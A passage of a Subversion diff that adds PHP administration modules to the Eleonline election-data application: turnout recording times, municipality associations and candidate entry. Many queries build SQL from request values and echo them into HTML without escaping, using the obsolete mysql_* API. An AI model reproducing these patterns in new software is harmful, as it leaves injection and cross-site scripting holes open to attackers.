+			."<input type=\"hidden\" name=\"op\" value=\"rec_add_aff\">"
+		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+		."<input type=\"hidden\" name=\"do\" value=1>";
+		echo "<tr align=\"center\"><td>";
+		echo "<select name= \"ov\" ><option value=\"11\" selected>11</option>"; ore();
+		echo "<select name= \"mv\" ><option value=\"00\" selected>00</option>"; minuti();
+		echo "</td><td>";
+		$aff = mysql_query("SELECT data_inizio,data_fine FROM ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen'", $dbi);
+		list($data,$fine) = mysql_fetch_row($aff);
+		list ($anno,$mese,$giorno)=explode('-',$data);
+		list ($annof,$mesef,$giornof)=explode('-',$fine);
+		echo "<select name= \"gv\" ><option value=\"$giorno\" selected>$giorno</option>"; giorno($giorno,$giornof);
+		echo "<select name= \"msv\" ><option value=\"$mese\" selected>$mese</option>"; mese();
+		echo "<select name= \"av\" ><option value=\"$anno\" selected>$anno</option>"; anno() ;
+		echo "</td>";
+
+		echo "<td><input type=\"hidden\" name=\"tipo\" value=\"add\">"
+		."<input type=\"submit\" name=\"update\" value=\""._ADD."\"></td></tr>";
+	
+		echo "</form><tr><td bgcolor=\"$bgcolor1\" colspan=\"3\">&nbsp;</td></tr>";
+		if ($max != "0") {
+			$i=1;
+			while(list($id_cons2,$orario,$data) = mysql_fetch_row($res)){
+				// esplode la data
+				$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+				list($av1,$msv1,$gv1) = explode("-",$data);
+				list($ov1,$mv1,$sv1) = explode(":",$orario);
+				$i++;
+
+				echo "<tr align=\"center\" bgcolor=\"$bgcolor1\">";
+				echo "<td><b>$ov1,$mv1</b></td>";
+				echo "<td><b>$gv1-$msv1-$av1</b></td>";
+				echo "<td><form name=\"canc$i\" action=\"admin.php\">"
+					."<input type=\"hidden\" name=\"op\" value=\"rec_add_aff\">";
+				echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+					."<input type=\"hidden\" name=\"do\" value=2>";
+				echo "<input type=\"hidden\" name=\"ov\" value=\"$ov1\">"
+					."<input type=\"hidden\" name=\"mv\" value=\"$mv1\">"
+					."<input type=\"hidden\" name=\"gv\" value=\"$gv1\">"
+					."<input type=\"hidden\" name=\"msv\" value=\"$msv1\">"
+					."<input type=\"hidden\" name=\"av\" value=\"$av1\">"
+					."<input type=\"hidden\" name=\"tipo\" value=\"delete\">"
+					."<input type=\"hidden\" name=\"ok\" value=0>"
+					."<input type=\"submit\" name=\"erase$i\" value=\""._DELETE."\"></form></td>"
+					."</tr>";
+			}
+		}
+		echo "</table>";
+	}
+
+	// memorizza le affluenze
+	function rec_add_aff($do,$ov,$mv,$gv,$msv,$av,$tipo,$ok, $modello) {
+		global $prefix, $dbi,$id_cons_gen;
+		$perms=ChiSei(0);
+		if ($perms<256) die("Non hai i permessi per eseguire questa operazione!");
+		$data="$av-$msv-$gv";
+		$orario="$ov:$mv:00";
+		$confr = mysql_query("SELECT data_inizio, data_fine FROM ".$prefix."_ele_consultazione WHERE id_cons_gen ='$id_cons_gen'", $dbi);
+list($dadata, $adata) = mysql_fetch_row($confr);
+$dadata=strtotime($dadata);
+$adata=strtotime($adata);
+$cdata=strtotime($data);
+		// verifica se data e ora esiste e fa l'upgrade
+		$res = mysql_query("select * from ".$prefix."_ele_rilaff where id_cons_gen='$id_cons_gen' and data='$data' and orario='$orario'", $dbi);
+		$tipo= mysql_num_rows($res); 
+		if(($tipo==0) and ($dadata <= $cdata) and ($adata >= $cdata)){
+			if(checkdate(intval($msv),intval($gv),intval($av))){
+			$result = mysql_query("insert into ".$prefix."_ele_rilaff values ('$id_cons_gen','$orario','$data')", $dbi)|| die("Impossibile inserire i dati! ".mysql_error());
+			}
+			Header("Location: admin.php?op=rec_add_aff&id_cons_gen=$id_cons_gen");
+		} elseif ($do==2) {
+			if ($ok !="1") {
+				ele();
+				OpenTable();
+				echo "<center><br><br>"._DOMCANCELLA."  ?<br>";
+				echo "[ <a href=\"admin.php?op=rec_add_aff&amp;id_cons_gen=$id_cons_gen\">"._NO."</a> ] - [<a href=\"admin.php?op=rec_add_aff&amp;id_cons_gen=$id_cons_gen&amp;do=$do&amp;ops=1&amp;ov=$ov&amp;mv=$mv&amp;gv=$gv&amp;msv=$msv&amp;av=$av&amp;tipo=delete&amp;ok=1\">"._YES."</a> ]";
+				CloseTable();
+				include("footer.php");
+				die();
+			}else{
+				$res = mysql_query("select id_cons from ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen'", $dbi);
+				while (list($id_cons2) = mysql_fetch_row($res))
+					mysql_query("delete from ".$prefix."_ele_voti_parziale where id_cons='$id_cons2' and data='$data' and orario='$orario'", $dbi)|| die("Impossibile cancellare i dati! ".mysql_error());
+				mysql_query("delete from ".$prefix."_ele_rilaff where id_cons_gen='$id_cons_gen' and data='$data' and orario='$orario'", $dbi)|| die("Impossibile cancellare i dati! ".mysql_error());
+				Header("Location: admin.php?op=rec_add_aff&id_cons_gen=$id_cons_gen&contr=$data");
+			}
+		}else{
+			Header("Location: admin.php?op=rec_add_aff&id_cons_gen=$id_cons_gen&contr=$data");
+		}
+	}     
+
+
+	
+	if($do) rec_add_aff($do,$ov,$mv,$gv,$msv,$av,$tipo,$ok, $modello);     
+	ele();
+	OpenTable();
+	all();
+	CloseTable();
+	include("footer.php");
+
+
+
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_associazioni.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_associazioni.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_associazioni.php	(revision 44)
@@ -0,0 +1,196 @@
+<?php 
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Autorizzazione Comuni                                         */
+/* Amministrazione                                                      */
+/************************************************************************/
+# e' l'unico file in cui Ãš presente un controllo su tipo_cons, per ora va bene cosÃ¬. Per toglierlo va inserito un campo-flag in ele_tipo per indicare se per il tipo di consultazione si dovra' procedere al calcolo dell'assegnazione dei seggi
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$id_comune=$_SESSION['id_comune'];
+$id_cons_gen=intval($_GET['id_cons_gen']);
+$perms=ChiSei(0);
+if ($perms<128 or !$id_cons_gen) die("$perms Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT t1.tipo_cons,t1.descrizione,t2.id_cons,t2.id_conf FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_comune='$id_comune' " , $dbi);
+list($tipo_cons,$descr_cons,$id_cons,$id_conf) = mysql_fetch_row($res);
+
+$res = mysql_query("SELECT genere FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' " , $dbi);
+	list($genere) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+if (isset($_GET['descr_comu'])) get_magic_quotes_gpc() ? $descr_comu=$param['descr_comu']:$descr_comu=addslashes($param['descr_comu']); else $descr_comu='';
+if (isset($_GET['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($_GET['ok'])) $ok=intval($_GET['ok']); else $ok='';
+if (isset($_GET['id_cons_comu'])) $id_cons_comu=intval($_GET['id_cons_comu']); else $id_cons_comu='';
+if (isset($_GET['id_collegio'])) $id_collegio=intval($_GET['id_collegio']); else $id_collegio='';
+if (isset($_GET['idcomune'])) $idcomune=intval($_GET['idcomune']); else $idcomune='';
+if (isset($_GET['idcomunenew'])) $idcomunenew=intval($_GET['idcomunenew']); else $idcomunenew='';
+if (isset($_GET['chiusa'])) $chiusa=intval($_GET['chiusa']); else $chiusa='';
+if (isset($_GET['id_conf'])) $id_conf=intval($_GET['id_conf']);  else $id_conf=0;
+if (isset($_GET['min'])) $min=intval($_GET['min']); else $min=0;
+
+$offset=15;
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+	/******************************************************/
+	/*Funzione di visualizzazione globale                 */
+	/*****************************************************/
+	//crea la pagina delle affluenze
+	function all() {
+	global $user, $admin, $bgcolor1, $bgcolor2, $prefix,$descr_cons, $dbi,$id_cons,$desc,$indirizzo,$centralino,$fax,$id_cons_gen,$id_collegio,$idcomune,$chiusa,$id_conf,$tipo_cons;
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+	OpenTable();	
+	$res = mysql_query("SELECT descrizione FROM ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen'" , $dbi);
+	list ($descr_cons) = mysql_fetch_row($res);
+//inserire avviso su mancanza dei permessi
+	echo "<form name=\"model\" action=\"admin.php\">";
+	echo "<table>";
+	echo "<tr align=\"center\"><td bgcolor=\"$bgcolor1\"><b>"._CONSULTA."</b></td>";
+#	echo "<td bgcolor=\"$bgcolor1\"><b>"._COLLEGI."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._DEFCOMUNE."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._STATO."</b></td>";
+	if($tipo_cons==3)
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._CONF."</b></td>";
+	echo "</tr>";
+	echo "<input type=\"hidden\" name=\"op\" value=\"associazioni\">";
+	echo "<input type=\"hidden\" name=\"pag_cons\" value=\"admin.php?op=associazioni&amp;id_cons_gen=\">";
+	echo "<tr align=\"center\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"><td>$descr_cons</td>";
+#	$ressede = mysql_query("SELECT id_collegio, descrizione from ".$prefix."_ele_collegi where id_cons_gen='$id_cons_gen' order by descrizione desc", $dbi);
+#	if ($num_coll=mysql_num_rows($ressede)){
+#		echo "<td><select name=\"id_collegio\">";
+#		while(list($id,$descr_coll)=mysql_fetch_row($ressede)){
+#			$sel= ($id == $id_collegio) ? "selected":"";
+#			echo "<option value=\"$id\" $sel>$descr_coll";
+#		}
+#		echo "</select></td>";
+#	} else echo "<td></td>";
+	$rescomu = mysql_query("SELECT id_comune, descrizione from ".$prefix."_ele_comuni order by descrizione asc", $dbi);
+	echo "<td><select name=\"idcomunenew\">";
+	echo "<option value=\"0\"> ";
+	while(list($id,$descr_comu)=mysql_fetch_row($rescomu)){
+		$sel= ($id == $idcomune) ? "selected":"";
+		echo "<option value=\"$id\" $sel>$descr_comu";
+	}
+	echo "</select></td>";
+	$selez['0']='';
+	$selez['1']='';
+	$selez['2']='';
+	$selez[$chiusa]="selected";
+	echo "<td><select name=\"chiusa\">";
+		echo "<option value=\"0\" ".$selez[0].">"._ATTIVA;
+		echo "<option value=\"1\" ".$selez[1].">"._CHIUSA;
+		echo "<option value=\"2\" ".$selez[2].">"._NULLA;
+	echo "</select></td>";
+	if($tipo_cons==3){
+		$rescomu = mysql_query("SELECT id_conf, descrizione from ".$prefix."_ele_conf order by descrizione asc", $dbi);
+		echo "<td><select name=\"id_conf\">";
+		echo "<option value=\"0\"> ";
+		while(list($id,$descr_conf)=mysql_fetch_row($rescomu)){
+			$sel='';
+			if ($idcomune and $id == $id_conf) $sel="selected"; elseif ($id==1) $sel="selected";
+			echo "<option value=\"$id\" $sel>$descr_conf";
+		}
+		echo "</select></td>";
+	}
+	unset($sel);
+	echo "<input type=\"hidden\" name=\"ok\" value=0>";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	if ($idcomune) {
+		echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<input type=\"hidden\" name=\"idcomune\" value=\"$idcomune\">";
+		echo "<td><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td></tr></form>";
+	}else{
+		echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+		echo "<td><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td></tr></form>";
+	}
+	$i=0;
+#	if ($num_coll>0)
+#	$resmod = mysql_query("SELECT t1.id_collegio,t1.id_comune,t2.descrizione as descr,t1.id_cons, t3.descrizione, t4.chiusa,t4.id_conf FROM ".$prefix."_ele_comu_collegi as t1, ".$prefix."_ele_collegi as t2, ".$prefix."_ele_comuni as t3, ".$prefix."_ele_cons_comune as t4 where t1.id_cons_gen='$id_cons_gen' and t1.id_collegio=t2.id_collegio and t1.id_comune=t3.id_comune and t1.id_comune=t4.id_comune and t2.id_cons_gen=t4.id_cons_gen order by t2.descrizione, t3.descrizione", $dbi);
+#	else
+	$resmod = mysql_query("SELECT '',t1.id_comune,'',t1.id_cons, t2.descrizione, t1.chiusa, t1.id_conf FROM ".$prefix."_ele_cons_comune as t1, ".$prefix."_ele_comuni as t2 where t1.id_cons_gen='$id_cons_gen' and t1.id_comune=t2.id_comune order by t2.descrizione", $dbi);
+	while (list($id_collegio,$id_comune2,$descr_coll,$id_cons_comu,$descr_comu, $chiusa,$id_conf) = mysql_fetch_row($resmod)){ //elenco dei modelli inseriti
+		$resconf = mysql_query("SELECT descrizione FROM ".$prefix."_ele_conf where id_conf='$id_conf'", $dbi);
+		list($descr_conf) = mysql_fetch_row($resconf);
+		$i++;
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		echo "<form name=\"modello$i\" action=\"admin.php\">"
+			."<input type=\"hidden\" name=\"op\" value=\"associazioni\">";
+//		echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<input type=\"hidden\" name=\"id_collegio\" value=\"$id_collegio\">";
+		echo "<input type=\"hidden\" name=\"idcomune\" value=\"$id_comune2\">";
+		echo "<input type=\"hidden\" name=\"id_cons_comu\" value=\"$id_cons_comu\">";
+		echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+		echo "<input type=\"hidden\" name=\"desc\" value=\"$descr_cons\">";
+		echo "<input type=\"hidden\" name=\"chiusa\" value=\"$chiusa\">";
+		echo "<tr align=\"center\" bgcolor=\"$bgcolor1\"><td></td>";
+		echo "<td width=\"32\"><b>$descr_coll</b></td>";
+		echo "<td width=\"32\"><b>$descr_comu</b></td>";
+		$stato['0']=_ATTIVA;
+		$stato['1']=_CHIUSA;
+		$stato['2']=_NULLA;
+		echo "<td width=\"32\"><b>".$stato[$chiusa]."</b></td>";
+		if($tipo_cons==3)
+			echo "<td width=\"32\"><input type=\"hidden\" name=\"id_conf\" value=\"$id_conf\"><b>".$descr_conf."</b></td>";
+		echo "<input type=\"hidden\" name=\"ok\" value=0>";
+		echo "</td>";
+		echo "<td><input type=\"submit\" name=\"edit$i\" value=\""._EDIT."\">"
+			."</td></tr></form>";
+	}
+		echo "</table>";
+	CloseTable();
+	}
+
+function associazioni($ok, $do,$descr_comu,$id_cons_comu,$id_collegio,$id_comune,$chiusa,$id_conf) {
+	global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons,$genere,$id_cons_gen,$idcomunenew;
+	if ($do !="" and $id_cons_gen>0 and $idcomunenew>0) {
+		$rescomu = mysql_query("SELECT id_cons from ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen' and id_comune='$idcomunenew'", $dbi);
+		$max = mysql_num_rows($rescomu); //esiste autorizzazione?
+		if (!$max){			//se no la inserisce
+			$result = mysql_query("insert into ".$prefix."_ele_cons_comune (chiusa,id_comune,id_cons_gen,id_conf) values ('0','$idcomunenew','$id_cons_gen','$id_conf')", $dbi) || die("<br><br>Errore di inserimento: ".mysql_error());
+			$rescomu = mysql_query("SELECT id_cons from ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen' and id_comune='$idcomunenew'", $dbi);
+		}
+		list($id_cons_comu)=mysql_fetch_row($rescomu);
+		if ($do == "update") {
+			if ($idcomunenew>0) $newid=", id_comune = $idcomunenew ";
+			else $newid='';
+			$result = mysql_query("update ".$prefix."_ele_comu_collegi set id_collegio= '$id_collegio' $newid where id_comune='$id_comune' and id_cons_gen='$id_cons_gen'", $dbi) || die(mysql_error());
+			if (!$result) return;
+			$result = mysql_query("update ".$prefix."_ele_cons_comune set id_conf='$id_conf', chiusa= '$chiusa' where id_comune='$id_comune' and id_cons_gen='$id_cons_gen'", $dbi)|| die(mysql_error());
+			Header("Location: admin.php?op=associazioni&id_cons_gen=$id_cons_gen");
+		}elseif ($do == "add") {
+			if ($id_collegio)
+				$result = mysql_query("insert into ".$prefix."_ele_comu_collegi (id_collegio,id_cons,id_comune,id_cons_gen) values ('$id_collegio','$id_cons_comu','$idcomunenew','$id_cons_gen')", $dbi) || die("<br><br>Errore di inserimento: ".mysql_error());
+			Header("Location: admin.php?op=associazioni&id_cons_gen=$id_cons_gen");
+		}
+	} 
+}
+
+	
+//****************************
+// switch
+//****************************
+	if ($op=="associazioni"){
+    		associazioni($ok, $do,$descr_comu,$id_cons_comu,$id_collegio,$idcomune,$chiusa,$id_conf);
+	}
+	ele();
+	if (isset($_GET['id_cons_gen'])) $id_cons_gen=intval($_GET['id_cons_gen']); else $id_cons_gen='0';
+	all();
+	include("footer.php");
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_candidato.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_candidato.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_candidato.php	(revision 44)
@@ -0,0 +1,298 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Candidati                                                    */
+/* Amministrazione                                                     */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$id_comune=$_SESSION['id_comune'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=$param['id_cons_gen'];
+$perms=ChiSei($id_cons_gen);
+if ($perms<32 or !$id_cons_gen) die("$id_cons_gen -Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune' " , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+$res = mysql_query("SELECT genere FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' " , $dbi);
+	list($genere) = mysql_fetch_row($res);
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($param['id_lista'])) $id_lista=intval($param['id_lista']); else $id_lista='';
+if (isset($param['id_sez'])) $id_sez=intval($param['id_sez']); else $id_sez='';
+if (isset($param['id_circ'])) {$id_circ=intval($param['id_circ']); $_SESSION['id_circ']=$id_circ;} else
+	if (isset($_SESSION['id_circ'])) $id_circ=intval($_SESSION['id_circ']); else $id_circ='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+if (isset($param['id_cand'])) $id_cand=intval($param['id_cand']); else $id_cand='';
+if (isset($param['id_cand2'])) $id_cand2=intval($param['id_cand2']); else $id_cand2='';
+if (isset($param['num_lista'])) $num_lista=intval($param['num_lista']); else $num_lista='';
+if (isset($param['cognome'])) get_magic_quotes_gpc() ? $cognome=$param['cognome']:$cognome=addslashes($param['cognome']); else $cognome='';
+if (isset($param['simbolo'])) get_magic_quotes_gpc() ? $simbolo=$param['simbolo']:$simbolo=addslashes($param['simbolo']); else $simbolo='';
+if (isset($param['nome'])) get_magic_quotes_gpc() ? $nome=$param['nome']:$nome=addslashes($param['nome']); else $nome='';
+if (isset($param['note'])) get_magic_quotes_gpc() ? $note=$param['note']:$note=addslashes($param['note']); else $note='';
+if (isset($param['num_cand'])) $num_cand=intval($param['num_cand']); else $num_cand=0;
+
+// Offset - visualizza il numero di elementi per pagina
+$offset=20;
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+
+
+function all() {
+	global $param, $bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min, $tipo_cons, $id_cons,$tipo_cons,$id_lista,$genere,$id_cons_gen,$id_comune,$id_cand,$id_circ,$id_gruppo;
+	$circo='';$circo2='';
+	$currentlang=$_SESSION['lang'];	
+	$res = mysql_query("SELECT circo FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' and lingua='$currentlang'", $dbi);
+	list($cons_circ)= mysql_fetch_row($res);
+	if($cons_circ) //elezioni circoscrizionali
+	{
+		echo "<form name=\"circo\" action=\"admin.php\" method=\"post\">";
+		echo "<br><br><table border=\"1\" width=\"50%\" ><tr bgcolor=\"$bgcolor1\"><td>"._SCEGLI_CIRCO.": </td>";
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons'", $dbi);
+		echo "<input type=\"hidden\" name=\"pag\" value=\"admin.php?op=candidato&amp;id_cons_gen=$id_cons_gen&amp;id_circ=\">";
+		echo "<td><select name=\"id_circ\" onChange=\"top.location.href=this.form.pag.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+		echo "<option value=\"\">";
+		while($arr=mysql_fetch_array($res,3)){
+			if (!$id_circ) $id_circ=$arr['id_circ'];
+			$sel= ($arr['id_circ'] == $id_circ) ? "selected":"";
+			echo "<option value=\"".$arr['id_circ']."\" $sel>".$arr['descrizione'];
+		}
+		echo "</select></td></tr></table></form>";
+		$circo="and id_circ='$id_circ'";	
+		$circo2="and t2.id_circ='$id_circ'";	
+	}	
+	if($id_cand)
+	{
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_candidati where id_cand='$id_cand'", $dbi);
+		$pro= mysql_fetch_array($res, 3);
+	}else{
+	$pro['cognome']='';$pro['num_cand']='';$pro['nome']='';
+	}
+	if (!isset($id_lista)) {
+		$res_lista=mysql_query("SELECT id_lista from ".$prefix."_ele_lista where id_cons=$id_cons $circo and num_lista=1", $dbi);
+		list($id_lista)=mysql_fetch_row($res_lista);
+	}
+	$cond=($id_lista>0) ? "and t1.id_lista=".$id_lista :'';
+	echo "<center><font class=\"title\"><br><b>"._CANDIDATO."</b></font><br><br><table border=\"0\" width=\"100%\"><tr>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._NUM."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._COGNOME."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._NOME."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._LISTA."</b></td>";
+
+	if ($genere==3 or $genere==5) { 
+		$query= "SELECT
+		t1.id_cand,t1.id_lista,t1.num_cand,t1.cognome,t1.nome, t1.simbolo,
+		t2.simbolo as sim_lista,t2.descrizione, t3.simbolo as sim_gruppo, t3.descrizione
+		FROM ".$prefix."_ele_candidati as t1,
+		".$prefix."_ele_lista as t2,
+		".$prefix."_ele_gruppo as t3
+		WHERE t1.id_lista=t2.id_lista
+		and t2.id_gruppo=t3.id_gruppo
+		and t1.id_cons=t2.id_cons
+		and t1.id_cons=$id_cons $circo2
+		$cond
+		order by t2.num_lista, t1.num_cand
+		limit $min,$offset";
+	} else {
+		$query= "SELECT
+		t1.id_cand,t1.id_lista,t1.num_cand,t1.cognome,t1.nome, t1.simbolo,
+		t2.simbolo as sim_lista,t2.descrizione, '', ''
+		FROM ".$prefix."_ele_candidati as t1,
+		".$prefix."_ele_lista as t2
+		WHERE t1.id_cons=$id_cons
+		and t1.id_cons=t2.id_cons
+		and t1.id_lista=t2.id_lista $circo2
+		$cond
+		order by t2.num_lista,t1.num_cand 
+		limit $min,$offset";
+	}
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+	$result = mysql_query($query, $dbi);
+	if($cons_circ)
+		$res = mysql_query("SELECT count(0) FROM ".$prefix."_ele_candidati as t1,".$prefix."_ele_lista as t2 where t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons and t2.id_circ=$id_circ and t1.id_lista=t2.id_lista $cond ", $dbi);
+	else
+		$res = mysql_query("SELECT count(0) FROM ".$prefix."_ele_candidati as t1 where t1.id_cons='$id_cons' $cond ", $dbi);
+	list($max) = mysql_fetch_row($res);
+	if($id_lista){
+		$numero=$max+1;} else $numero='';
+	//-----------------------lo stemma e la circoscrizione devono essere associati alla lista -
+	echo "<form name=\"candidato2\" action=\"admin.php\">"
+	."<input type=\"hidden\" name=\"op\" value=\"candidato\">";
+	if ($pro['cognome']) {
+		echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<tr><td><input type=\"text\" name=\"num_cand\" value=\"".$pro['num_cand']."\" size=\"5\"></td>";
+	}else{
+		echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+		echo "<tr><td><input type=\"text\" name=\"num_cand\" value=\"$numero\" size=\"5\"></td>";
+	}
+	echo "<td><input type=\"text\" name=\"cognome\" maxlength=\"50\" value=\"".$pro['cognome']."\"></td>";
+	echo "<td><input type=\"text\" name=\"nome\" maxlength=\"50\" value=\"".$pro['nome']."\"></td>";
+	//."<td><input type=\"text\" name=\"foto\" maxlength=\"20\"></td>";
+	echo "<input type=\"hidden\" name=\"pag\" value=\"admin.php?op=candidato&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;id_circ=$id_circ&amp;id_lista=\">";
+	echo "<td width=\"10%\"><select width=\"10\" name=\"id_lista\" onChange=\"aggiorna()\">";
+	$res= mysql_query("SELECT id_lista,num_lista,descrizione FROM ".$prefix."_ele_lista where id_cons='$id_cons' $circo order by num_lista", $dbi);
+	echo "<option value=\"\">";
+	while(list($id,$numlist,$descr) = mysql_fetch_row($res)) {
+		if (!isset($id_lista)){$id_lista=$id;}
+		$sel= ($id == $id_lista) ? "selected":"";
+		echo "<option width=\"10\" value=\"$id\" $sel>".$numlist.") ".$descr;
+#		echo "<option width=\"10\" value=\"$id\" $sel>".$numlist.") ".substr($descr,0,25);
+	}
+    	echo "</select></td>";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">";
+	echo "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+	if ($pro['cognome']) {
+	echo "<td align=\"center\"><input type=\"submit\" name=\"update\" value=\""._MODIFY."\"></td>";
+	echo "<input type=\"hidden\" name=\"id_cand\" value=\"".$pro['id_cand']."\">";
+	}else{
+	echo "<td align=\"center\"><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td>";
+	echo "<input type=\"hidden\" name=\"id_cand\" value=\"$id_cand\">";
+	}
+	echo "</form>";
+ 	echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n"
+	."document.candidato2.cognome.focus()\n"
+	."//-->\n";
+	echo "function vai_a() {\n";
+	echo "window.document.location.href=document.candidato2.pag.value+document.candidato2.id_lista.value\n";
+	echo "}\n";
+	echo "function aggiorna(id_ele) {\n";
+	echo "if (document.candidato2.cognome.value==\"\") {vai_a()}\n";
+	echo "}\n";
+	echo "</script>\n";
+	if ($result)
+	while(list($id_cand,$id_lista2,$num_cand,$cognome, $nome,$simbolo,$simb_lista,
+	$descr_lista,$simb_gruppo,$descr_gruppo) = mysql_fetch_row($result)) {
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		echo "<tr bgcolor=\"$bgcolor1\"><td align=\"center\"><b>$num_cand</b>"
+		."</td><td align=\"left\"><b>$cognome</b>"
+		."</td><td align=\"left\"><b>$nome</b>";
+		echo "</td><td align=\"center\"><b>$descr_lista  </b>";
+		echo "</td><td align=\"center\" nowrap>[<a
+		href=\"admin.php?op=candidato&amp;do=modify&amp;id_cand=$id_cand&amp;id_circ=$id_circ&amp;id_lista=$id_lista2&amp;id_gruppo=$id_gruppo&amp;id_cons_gen=$id_cons_gen&amp;min=$min\"><img src=\"modules/Elezioni/images/edit.gif\"
+              border=\"0\" align=\"center\"> "._EDIT."</a>]";
+		echo "[<a href=\"admin.php?op=candidato&amp;do=delete&amp;id_cand=$id_cand&amp;id_circ=$id_circ&amp;id_lista=$id_lista2&amp;id_gruppo=$id_gruppo&amp;cognome=$cognome&amp;nome=$nome&amp;id_cons_gen=$id_cons_gen&amp;min=$min\">"._DELETE." <img src=\"modules/Elezioni/images/delete.gif\"
+              border=\"0\" align=\"center\"></a>]";
+	    	echo "</td></tr>";
+	}
+	echo "</table></center>";
+ 
